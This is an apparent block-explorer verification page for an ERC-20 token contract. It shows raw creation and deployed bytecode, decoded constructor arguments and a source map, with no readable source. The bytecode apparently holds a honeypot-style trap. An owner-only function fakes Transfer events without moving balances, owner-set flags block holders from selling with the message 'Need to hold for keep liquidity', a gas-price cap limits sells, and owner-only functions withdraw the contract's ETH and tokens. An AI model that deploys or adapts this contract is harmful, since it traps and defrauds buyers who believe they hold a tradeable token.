60208601612442565b91505092915050565b600067ffffffffffffffff8211156124f4576124f3612396565b5b602082029050602081019050919050565b6000612518612513846124d9565b6123f6565b9050808382526020820190506020840283018581111561253b5761253a61243d565b5b835b8181101561256457806125508882612225565b84526020840193505060208101905061253d565b5050509392505050565b600082601f83011261258357612582612391565b5b8135612593848260208601612505565b91505092915050565b6000806000606084860312156125b5576125b46120bd565b5b60006125c386828701612110565b935050602084013567ffffffffffffffff8111156125e4576125e36120c2565b5b6125f0868287016124ab565b925050604084013567ffffffffffffffff811115612611576126106120c2565b5b61261d8682870161256e565b9150509250925092565b600080fd5b600067ffffffffffffffff82111561264757612646612396565b5b61265082612198565b9050602081019050919050565b82818337600083830152505050565b600061267f61267a8461262c565b6123f6565b90508281526020810184848401111561269b5761269a612627565b5b6126a684828561265d565b509392505050565b600082601f8301126126c3576126c2612391565b5b81356126d384826020860161266c565b91505092915050565b600080604083850312156126f3576126f26120bd565b5b600083013567ffffffffffffffff811115612711576127106120c2565b5b61271d858286016126ae565b925050602083013567ffffffffffffffff81111561273e5761273d6120c2565b5b61274a858286016126ae565b9150509250929050565b61275d816120e7565b82525050565b60006020820190506127786000830184612754565b92915050565b60008060408385031215612795576127946120bd565b5b60006127a385828601612110565b92505060206127b485828601612110565b9150509250929050565b6000815190506127cd8161220e565b92915050565b6000602082840312156127e9576127e86120bd565b5b60006127f7848285016127be565b91505092915050565b60006040820190506128156000830185612754565b61282260208301846122b0565b9392505050565b6128328161227a565b811461283d57600080fd5b50565b60008151905061284f81612829565b92915050565b60006020828403121561286b5761286a6120bd565b5b600061287984828501612840565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806128c957607f821691505b6020821081036128dc576128db612882565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061294b82612204565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361297d5761297c612911565b5b600182019050919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026129ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826129ad565b6129f486836129ad565b95508019841693508086168417925050509392505050565b6000819050919050565b6000612a31612a2c612a2784612204565b612a0c565b612204565b9050919050565b6000819050919050565b612a4b83612a16565b612a5f612a5782612a38565b8484546129ba565b825550505050565b600090565b612a74612a67565b612a7f818484612a42565b505050565b5b81811015612aa357612a98600082612a6c565b600181019050612a85565b5050565b601f821115612ae857612ab981612988565b612ac28461299d565b81016020851015612ad1578190505b612ae5612add8561299d565b830182612a84565b50505b505050565b600082821c905092915050565b6000612b0b60001984600802612aed565b1980831691505092915050565b6000612b248383612afa565b9150826002028217905092915050565b612b3d82612152565b67ffffffffffffffff811115612b5657612b55612396565b5b612b6082546128b1565b612b6b828285612aa7565b600060209050601f831160018114612b9e5760008415612b8c578287015190505b612b968582612b18565b865550612bfe565b601f198416612bac86612988565b60005b82811015612bd457848901518255600182019150602085019450602081019050612baf565b86831015612bf15784890151612bed601f891682612afa565b8355505b6001600288020188555050505b505050505050565b600081519050612c15816120f9565b92915050565b600060208284031215612c3157612c306120bd565b5b6000612c3f84828501612c06565b91505092915050565b6000604082019050612c5d6000830185612754565b612c6a6020830184612754565b9392505050565b6000606082019050612c866000830186612754565b612c9360208301856122b0565b612ca060408301846122b0565b949350505050565b7f4e65656420746f20686f6c6420666f72206b656570206c697175696469747900600082015250565b6000612cde601f8361215d565b9150612ce982612ca8565b602082019050919050565b60006020820190508181036000830152612d0d81612cd1565b9050919050565b6000612d1f82612204565b9150612d2a83612204565b9250828201905080821115612d4257612d41612911565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000612da460278361215d565b9150612daf82612d48565b604082019050919050565b60006020820190508181036000830152612dd381612d97565b905091905056fea2646970667358221220b734edaf0bf235112a02c4fb540125a7d43b4f2aabb139b79c70041d913e785e64736f6c634300081300330000000000000000000000000000000000000000204fce5e3e25026110000000000000000000000000000000fa22a75194eb3afe3ded568402d181b9f3b2ddee

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061023d5760003560e01c80636c02a9311161013b578063a9059cbb116100b8578063daea85c51161007c578063daea85c51461064a578063dd62ed3e14610666578063e086e5ec14610696578063efc21e3f146106a0578063f2fde38b146106be5761023d565b8063a9059cbb146105a4578063aac03939146105d4578063b839a80e146105f2578063cc1776d31461060e578063cc2b78581461062c5761023d565b80638ba4cc3c116100ff5780638ba4cc3c146105245780638da5cb5b1461054057806395d89b411461055e5780639e78fb4f1461057c5780639f5fa028146105865761023d565b80636c02a9311461049257806370a08231146104b0578063715018a6146104e057806379c65068146104ea5780637b61c320146105065761023d565b806323b872dd116101c95780634c97f4721161018d5780634c97f472146104005780634f7041a51461041c578063564b81ef1461043a578063593ed58c1461045857806362256589146104885761023d565b806323b872dd1461035a5780632711b8a51461038a578063313ce567146103a85780633de4b85c146103c65780634022b75e146103e45761023d565b8063109daa9911610210578063109daa99146102c857806311894780146102d25780631641f1ba146102f057806318160ddd1461030c5780631e7be2101461032a5761023d565b8063068acf6c1461024257806306fdde031461025e57806307980cb91461027c578063095ea7b314610298575b600080fd5b61025c60048036038101906102579190612125565b6106da565b005b6102666107e3565b60405161027391906121e2565b60405180910390f35b61029660048036038101906102919190612125565b610875565b005b6102b260048036038101906102ad919061223a565b6108c1565b6040516102bf9190612295565b60405180910390f35b6102d06108e4565b005b6102da61092a565b6040516102e791906122bf565b60405180910390f35b61030a600480360381019061030591906122da565b610931565b005b610314610973565b60405161032191906122bf565b60405180910390f35b610344600480360381019061033f9190612125565b61097d565b6040516103519190612295565b60405180910390f35b610374600480360381019061036f9190612307565b61099d565b6040516103819190612295565b60405180910390f35b6103926109cc565b60405161039f91906122bf565b60405180910390f35b6103b06109d5565b6040516103bd9190612376565b60405180910390f35b6103ce6109de565b6040516103db91906122bf565b60405180910390f35b6103fe60048036038101906103f9919061259c565b6109e4565b005b61041a600480360381019061041591906126dc565b610aaa565b005b610424610ad6565b60405161043191906122bf565b60405180910390f35b610442610adc565b60405161044f91906122bf565b60405180910390f35b610472600480360381019061046d91906122da565b610ae9565b60405161047f9190612763565b60405180910390f35b610490610b1c565b005b61049a610b62565b6040516104a791906121e2565b60405180910390f35b6104ca60048036038101906104c59190612125565b610bf0565b6040516104d791906122bf565b60405180910390f35b6104e8610c38565b005b61050460048036038101906104ff919061223a565b610ca4565b005b61050e610d1a565b60405161051b91906121e2565b60405180910390f35b61053e6004803603810190610539919061223a565b610da8565b005b610548610e1e565b6040516105559190612763565b60405180910390f35b610566610e48565b60405161057391906121e2565b60405180910390f35b610584610eda565b005b61058e611118565b60405161059b91906122bf565b60405180910390f35b6105be60048036038101906105b9919061223a565b61111d565b6040516105cb9190612295565b60405180910390f35b6105dc611140565b6040516105e99190612763565b60405180910390f35b61060c600480360381019061060791906122da565b611166565b005b6106166111a8565b60405161062391906122bf565b60405180910390f35b6106346111ae565b60405161064191906122bf565b60405180910390f35b610664600480360381019061065f9190612125565b6111b4565b005b610680600480360381019061067b919061277e565b611217565b60405161068d91906122bf565b60405180910390f35b61069e61129e565b005b6106a86112ef565b6040516106b591906122bf565b60405180910390f35b6106d860048036038101906106d39190612125565b6112f5565b005b6106e261137b565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161071d9190612763565b602060405180830381865afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e91906127d3565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161079b929190612800565b6020604051808303816000875af11580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de9190612855565b505050565b6060600880546107f2906128b1565b80601f016020809104026020016040519081016040528092919081815260200182805461081e906128b1565b801561086b5780601f106108405761010080835404028352916020019161086b565b820191906000526020600020905b81548152906001019060200180831161084e57829003601f168201915b5050505050905090565b61087d61137b565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806108cc611402565b90506108d981858561140a565b600191505092915050565b6108ec61137b565b6000600d819055506000600c819055507f80de050b85d3a75cad8a3df5e178576f5df5879cad768c7b5600fa00770f2c7c60405160405180910390a1565b62013e3181565b61093961137b565b7fd3b613dda5c9cdfd44a8f58e5198dec35a31f7f9d39dec2fd6b532e47989c7b98160405161096891906122bf565b60405180910390a150565b6000600254905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000806109a8611402565b90506109b585828561141c565b6109c08585856114b0565b60019150509392505050565b60006003905090565b60006012905090565b61a86a81565b6109ec61137b565b60005b8251811015610aa457828181518110610a0b57610a0a6128e2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610a7457610a736128e2565b5b6020026020010151604051610a8991906122bf565b60405180910390a38080610a9c90612940565b9150506109ef565b50505050565b610ab261137b565b8160089081610ac19190612b34565b508060099081610ad19190612b34565b505050565b600d5481565b6000804690508091505090565b600e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b2461137b565b6000600d819055506000600c819055507f2d53e1bd10978dd02f36cd1d3680151195d9f7358e0c867bc753abecafb55e4360405160405180910390a1565b60088054610b6f906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9b906128b1565b8015610be85780601f10610bbd57610100808354040283529160200191610be8565b820191906000526020600020905b815481529060010190602001808311610bcb57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c4061137b565b600073ffffffffffffffffffffffffffffffffffffffff16610c60610e1e565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610cac61137b565b610cbe610cb7610e1e565b83836114b0565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60098054610d27906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610d53906128b1565b8015610da05780601f10610d7557610100808354040283529160200191610da0565b820191906000526020600020905b815481529060010190602001808311610d8357829003601f168201915b505050505081565b610db061137b565b610dc2610dbb610e1e565b83836114b0565b6001600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610e57906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610e83906128b1565b8015610ed05780601f10610ea557610100808354040283529160200191610ed0565b820191906000526020600020905b815481529060010190602001808311610eb357829003601f168201915b5050505050905090565b610ee261137b565b610eea6115a4565b6000610ef4610adc565b9050600080600e600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303610fae578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa79190612c1b565b9150611020565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ff9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101d9190612c1b565b91505b60008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561106d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110919190612c1b565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630856040518363ffffffff1660e01b81526004016110ce929190612c48565b6020604051808303816000875af11580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111119190612c1b565b5050505050565b600181565b600080611128611402565b90506111358185856114b0565b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61116e61137b565b7f0d61b965947cabd8d137e76c38fd92e63d79b181830e0918b69794938355febd8160405161119d91906122bf565b60405180910390a150565b600c5481565b61a4b181565b6111bc61137b565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112a661137b565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156112ec573d6000803e3d6000fd5b50565b61210581565b6112fd61137b565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136f5760006040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016113669190612763565b60405180910390fd5b611378816117ae565b50565b611383611402565b73ffffffffffffffffffffffffffffffffffffffff166113a1610e1e565b73ffffffffffffffffffffffffffffffffffffffff1614611400576113c4611402565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016113f79190612763565b60405180910390fd5b565b600033905090565b6114178383836001611874565b505050565b60006114288484611217565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114aa578181101561149a578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161149193929190612c71565b60405180910390fd5b6114a984848484036000611874565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115225760006040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016115199190612763565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115945760006040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161158b9190612763565b60405180910390fd5b61159f838383611a4b565b505050565b73f164fc0ec4e93095b804a4795bbe1e041497b92a600e60006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e6000612105815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d4600e600061a86a815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507398994a9a7a2570367554589189dc9772241650f6600e600062013e31815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734752ba5dbc23f44d87826276bf6fd6b1c372ad24600e600061a4b1815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036118e65760006040517fe602df050000000000000000000000000000000000000000000000000000000081526004016118dd9190612763565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119585760006040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161194f9190612763565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508015611a45578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611a3c91906122bf565b60405180910390a35b50505050565b600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611aad57611aa8838383611c7e565b611c79565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b515750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790612cf4565b60405180910390fd5b6000829050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611bfc57611bf6848484611c7e565b50611c79565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c6c57611c5c848484611c7e565b611c666001612067565b50611c79565b611c77848484611c7e565b505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cd0578060026000828254611cc49190612d14565b92505081905550611da3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d5c578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401611d5393929190612c71565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dec5780600260008282540392505081905550611e39565b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f1a57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f0d91906122bf565b60405180910390a3612062565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ffb578173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fee91906122bf565b60405180910390a3612061565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161205891906122bf565b60405180910390a35b5b505050565b60003a9050818111156120af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a690612dba565b60405180910390fd5b5050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120f2826120c7565b9050919050565b612102816120e7565b811461210d57600080fd5b50565b60008135905061211f816120f9565b92915050565b60006020828403121561213b5761213a6120bd565b5b600061214984828501612110565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561218c578082015181840152602081019050612171565b60008484015250505050565b6000601f19601f8301169050919050565b60006121b482612152565b6121be818561215d565b93506121ce81856020860161216e565b6121d781612198565b840191505092915050565b600060208201905081810360008301526121fc81846121a9565b905092915050565b6000819050919050565b61221781612204565b811461222257600080fd5b50565b6000813590506122348161220e565b92915050565b60008060408385031215612251576122506120bd565b5b600061225f85828601612110565b925050602061227085828601612225565b9150509250929050565b60008115159050919050565b61228f8161227a565b82525050565b60006020820190506122aa6000830184612286565b92915050565b6122b981612204565b82525050565b60006020820190506122d460008301846122b0565b92915050565b6000602082840312156122f0576122ef6120bd565b5b60006122fe84828501612225565b91505092915050565b6000806000606084860312156123205761231f6120bd565b5b600061232e86828701612110565b935050602061233f86828701612110565b925050604061235086828701612225565b9150509250925092565b600060ff82169050919050565b6123708161235a565b82525050565b600060208201905061238b6000830184612367565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123ce82612198565b810181811067ffffffffffffffff821117156123ed576123ec612396565b5b80604052505050565b60006124006120b3565b905061240c82826123c5565b919050565b600067ffffffffffffffff82111561242c5761242b612396565b5b602082029050602081019050919050565b600080fd5b600061245561245084612411565b6123f6565b905080838252602082019050602084028301858111156124785761247761243d565b5b835b818110156124a1578061248d8882612110565b84526020840193505060208101905061247a565b5050509392505050565b600082601f8301126124c0576124bf612391565b5b81356124d0848260208601612442565b91505092915050565b600067ffffffffffffffff8211156124f4576124f3612396565b5b602082029050602081019050919050565b6000612518612513846124d9565b6123f6565b9050808382526020820190506020840283018581111561253b5761253a61243d565b5b835b8181101561256457806125508882612225565b84526020840193505060208101905061253d565b5050509392505050565b600082601f83011261258357612582612391565b5b8135612593848260208601612505565b91505092915050565b6000806000606084860312156125b5576125b46120bd565b5b60006125c386828701612110565b935050602084013567ffffffffffffffff8111156125e4576125e36120c2565b5b6125f0868287016124ab565b925050604084013567ffffffffffffffff811115612611576126106120c2565b5b61261d8682870161256e565b9150509250925092565b600080fd5b600067ffffffffffffffff82111561264757612646612396565b5b61265082612198565b9050602081019050919050565b82818337600083830152505050565b600061267f61267a8461262c565b6123f6565b90508281526020810184848401111561269b5761269a612627565b5b6126a684828561265d565b509392505050565b600082601f8301126126c3576126c2612391565b5b81356126d384826020860161266c565b91505092915050565b600080604083850312156126f3576126f26120bd565b5b600083013567ffffffffffffffff811115612711576127106120c2565b5b61271d858286016126ae565b925050602083013567ffffffffffffffff81111561273e5761273d6120c2565b5b61274a858286016126ae565b9150509250929050565b61275d816120e7565b82525050565b60006020820190506127786000830184612754565b92915050565b60008060408385031215612795576127946120bd565b5b60006127a385828601612110565b92505060206127b485828601612110565b9150509250929050565b6000815190506127cd8161220e565b92915050565b6000602082840312156127e9576127e86120bd565b5b60006127f7848285016127be565b91505092915050565b60006040820190506128156000830185612754565b61282260208301846122b0565b9392505050565b6128328161227a565b811461283d57600080fd5b50565b60008151905061284f81612829565b92915050565b60006020828403121561286b5761286a6120bd565b5b600061287984828501612840565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806128c957607f821691505b6020821081036128dc576128db612882565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061294b82612204565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361297d5761297c612911565b5b600182019050919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026129ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826129ad565b6129f486836129ad565b95508019841693508086168417925050509392505050565b6000819050919050565b6000612a31612a2c612a2784612204565b612a0c565b612204565b9050919050565b6000819050919050565b612a4b83612a16565b612a5f612a5782612a38565b8484546129ba565b825550505050565b600090565b612a74612a67565b612a7f818484612a42565b505050565b5b81811015612aa357612a98600082612a6c565b600181019050612a85565b5050565b601f821115612ae857612ab981612988565b612ac28461299d565b81016020851015612ad1578190505b612ae5612add8561299d565b830182612a84565b50505b505050565b600082821c905092915050565b6000612b0b60001984600802612aed565b1980831691505092915050565b6000612b248383612afa565b9150826002028217905092915050565b612b3d82612152565b67ffffffffffffffff811115612b5657612b55612396565b5b612b6082546128b1565b612b6b828285612aa7565b600060209050601f831160018114612b9e5760008415612b8c578287015190505b612b968582612b18565b865550612bfe565b601f198416612bac86612988565b60005b82811015612bd457848901518255600182019150602085019450602081019050612baf565b86831015612bf15784890151612bed601f891682612afa565b8355505b6001600288020188555050505b505050505050565b600081519050612c15816120f9565b92915050565b600060208284031215612c3157612c306120bd565b5b6000612c3f84828501612c06565b91505092915050565b6000604082019050612c5d6000830185612754565b612c6a6020830184612754565b9392505050565b6000606082019050612c866000830186612754565b612c9360208301856122b0565b612ca060408301846122b0565b949350505050565b7f4e65656420746f20686f6c6420666f72206b656570206c697175696469747900600082015250565b6000612cde601f8361215d565b9150612ce982612ca8565b602082019050919050565b60006020820190508181036000830152612d0d81612cd1565b9050919050565b6000612d1f82612204565b9150612d2a83612204565b9250828201905080821115612d4257612d41612911565b5b92915050565b7f4e65656420746f206f7074696d697a6520676173207072696365207768656e2060008201527f73656e6420747800000000000000000000000000000000000000000000000000602082015250565b6000612da460278361215d565b9150612daf82612d48565b604082019050919050565b60006020820190508181036000830152612dd381612d97565b905091905056fea2646970667358221220b734edaf0bf235112a02c4fb540125a7d43b4f2aabb139b79c70041d913e785e64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000204fce5e3e25026110000000000000000000000000000000fa22a75194eb3afe3ded568402d181b9f3b2ddee

-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 10000000000000000000000000000
Arg [1] : deployer (address): 0xfa22A75194Eb3AFe3DED568402D181b9F3B2DDee

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000204fce5e3e25026110000000
Arg [1] : 000000000000000000000000fa22a75194eb3afe3ded568402d181b9f3b2ddee


Deployed Bytecode Sourcemap

1340:5275:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5101:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2722:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4013:78;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4154:182:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6136:128:7;;;:::i;:::-;;1615:46;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6392:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3039:95:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1743:42:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4880:239:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4906:75:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4810:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1514:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5517:264;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2497:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1972:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2336:155;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1999:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6270:116;;;:::i;:::-;;1387:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3189:114:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2242:115:6;;;:::i;:::-;;5968:162:7;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1426:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5787:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1603:83:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2923:96:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3025:493;;;:::i;:::-;;1468:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3490:174:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1718:19:7;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6505:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1944:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1667:44;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4097:84;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3719:138:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4987:108:7;;;:::i;:::-;;1565:44;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2502:210:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5101:196:7;1501:13:6;:11;:13::i;:::-;5171:20:7::1;5201:5;5194:23;;;5226:4;5194:38;;;;;;;;;;;;;;;:::i;:::-;;